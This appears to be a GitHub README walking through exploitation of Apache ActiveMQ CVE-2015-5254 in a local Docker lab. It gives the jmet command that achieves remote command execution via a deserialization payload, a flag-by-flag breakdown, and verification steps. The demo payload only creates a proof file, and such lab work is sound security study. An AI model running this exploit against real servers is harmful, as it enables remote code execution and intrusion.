guigui237/exploitation-de-la-vuln-rabilit-cve-2015-5254-Step-by-step exploitation guide for Apache ActiveMQ CVE-2015-5254 deserialization vulnerability using jmet, with Docker-based lab setup and verification.
CVE-2015-5254 is a security vulnerability in Apache ActiveMQ, a widely used open source message broker for inter-application communication. This vulnerability affects ActiveMQ versions up to 5.13.0 and stems from the lack of filtering on incoming JMS ObjectMessage data.
Network scan: nmap -p 61616 -Pn -T5 -n -sC -sV 172.17.0.1
We launch ActiveMQ 2015 from its downloaded folder using docker:
We check the ActiveMQ version:
It is version 5.11.1
Exploitation:
For this vulnerability, we will use the command:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 172.17.0.1 61616
This command executes an exploitation attempt of the Apache ActiveMQ CVE-2015-5254 vulnerability using the jmet tool. Here is a breakdown of each command option:
java -jar jmet-0.1.0-all.jar : Launches the jmet tool (Java Message Exploitation Tool) using the standalone JAR file (jmet-0.1.0-all.jar).
-Q event : Specifies the target queue in ActiveMQ, named "event" here. The tool will send the malicious message through this queue.
-I ActiveMQ : Indicates that the target is an Apache ActiveMQ server.
-s : Launches exploitation in stealth mode, which may sometimes minimize logs or warnings generated on the target.
-Y "touch /tmp/success" : Indicates the malicious payload that will be executed on the target server upon success. In this case, the touch /tmp/success command creates a file named success in the /tmp folder to prove the exploitation worked.
-Yp ROME : Uses the "ROME" payload to attempt exploitation (ROME is here a specific type of payload supported by the tool for ActiveMQ).
172.17.0.1 61616 : Specifies the IP address (172.17.0.1) and port (61616) of the target Apache ActiveMQ server.
In summary, This command attempts to exploit a deserialization flaw in Apache ActiveMQ by injecting a malicious message into the "event" queue to execute a remote command. If the exploitation succeeds, the target ActiveMQ server executes the touch /tmp/success command, which is an indicator of successful exploitation (file creation). In short, we want to inject a file named success into the file system of the ActiveMQ server, specifically in /tmp/.
We notice that the exploit succeeded!!!
We see the following detection message on Apache ActiveMQ:
We click on the message:
We run the following set of commands:
docker ps -a To find the current ActiveMQ container, we see container 19ab278527c7 We run: docker exec -it 19ab278527c7 /bin/bash To authenticate to the ActiveMQ server via its container.
We confirm that we successfully authenticated and then verified the creation of the file success in /tmp/:
End of exploit!!!